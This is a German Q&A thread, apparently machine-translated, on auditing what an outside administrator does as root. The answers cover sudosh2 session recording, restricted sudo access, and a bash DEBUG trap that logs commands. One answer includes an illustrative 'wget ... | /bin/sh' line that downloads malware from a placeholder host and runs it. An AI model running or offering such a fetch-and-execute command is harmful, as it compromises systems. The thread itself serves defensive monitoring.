Protokollieren Sie jeden Befehl, der von root ausgeführt wird


16

Ich möchte einem externen Systemadministrator Zugriff auf meinen Root-Server gewähren, aber ich möchte sichergehen, dass ich noch einmal überprüfe, was er auf meinem Server tut, z. Ich möchte auch verfolgen, auf welche Datei zugegriffen wird, auch wenn diese schreibgeschützt und nicht bearbeitet ist.

Wie kann ich das machen?


1

Antworten:


21

Vertrauen, aber verifizieren!

Schauen Sie sich sudosh2 an . sudosh2 wird von FreeBSD-Ports bereitgestellt. Pakete sind für RedHat und Ubuntu verfügbar. Hier ist die Beschreibung von ihrer Website:

sudosh ist ein Auditing-Shell-Filter und kann als Login-Shell verwendet werden. Sudosh zeichnet alle Tastenanschläge und Ausgaben auf und kann die Sitzung wie ein Videorecorder wiedergeben.

Mit Sudosh können Sie die Sitzung des Benutzers wiederholen, sodass Sie alle Ein- und Ausgaben so sehen können, wie der Benutzer sie gesehen hat. Sie sehen alles, Tastatureingaben, Tippfehler, Leerzeichen, was sie bearbeitet haben vi, die Ausgabe von wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/shusw.

Es ist möglich, Sudosh-Protokolle an syslog zu senden, damit diese auf einem zentralen Syslog-Server außerhalb des Systems gespeichert werden können.

Beachten Sie, dass sudosh2 ein Ersatz für sudosh ist, der vom Autor aufgegeben wurde

Arbeiten Sie an einer akademischen Einrichtung, an der Benutzer auf Superuser-Berechtigungen bestehen? Oder arbeiten Sie in einem Unternehmen und möchten Benutzern Superuser-Berechtigungen für ihre eigenen VMs gewähren? Dies könnte die Lösung für Sie sein.


1
Ausgezeichnet - ich hatte vorher noch nie von Sudosh gehört.
EEAA

2
Was ist das für ein Videorecorder, von dem du sprichst?
Tom Marthenal

2
Es ist wie bei einer 8-Spur, aber Sie können Ihre eigenen Fernsehsendungen aufnehmen!
Stefan Lasiewski

22

Gib ihm keinen root-Zugang. Geben Sie ihm stattdessen ein nicht privilegiertes Benutzerkonto und fordern Sie ihn auf, seine gesamte Arbeit zu erledigen sudo, wodurch alle seine Befehle protokolliert werden.

Denken Sie daran, dass diese Person, wenn sie böse Absichten hat und Sie ihr die vollen Sudo-Rechte gewähren , einen Weg finden wird , diese bösen Absichten auszuführen, ohne dass diese Befehle protokolliert werden. Gewähren Sie ihm in diesem Fall nur Zugriff auf die spezifischen Befehle, die er für seine Arbeit benötigt.


Ich möchte es so schwer wie möglich machen, ohne mein Leben zu einem Schmerz zu machen. Danke für die Antwort.
Cedivad

Sie können einfach sudo su -eine Root-Shell ausführen , die nicht protokolliert wird (es sei denn, Sie haben sie gestartet). Dies ist das, was ich normalerweise eingebe, wenn ich mehr als einen einzelnen Befehl als root auf einmal ausführen möchte oder wenn ich möchte, dass die Tabulatoren in Verzeichnissen ausgefüllt werden, die normale Benutzer nicht lesen können.
rjmunro

@rjmunro - Genau aus diesem Grund habe ich den Vorbehalt ausgesprochen, ihm nur den spezifischen Zugriff zu gewähren, den er benötigt. Sie können es ausdrücklich verbieten, sudo su -wenn dies gewünscht wird.
EEAA

1

Ich bin nicht mit sudosh2 vertraut, aber ich füge Folgendes in mein ein .bashrc, um alle Befehle, die ich in eine bashShell eingebe, in die Datei zu protokollieren ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Mit dem obigen DEBUGBefehl wird eine Trap aktiviert , die unmittelbar vor der Ausführung eines normalen Befehls ausgeführt wird. Die callereingebaute Funktion wird verwendet, um zu testen, ob der Befehl in einer interaktiven Shell eingegeben oder über so etwas ausgeführt wird .bashrc. Der Wert ${BASH_COMMAND}enthält den Befehl, der gerade ausgeführt wird.

Durch die Nutzung unserer Website bestätigen Sie, dass Sie unsere Cookie-Richtlinie und Datenschutzrichtlinie gelesen und verstanden haben.
Licensed under cc by-sa 3.0 with attribution required.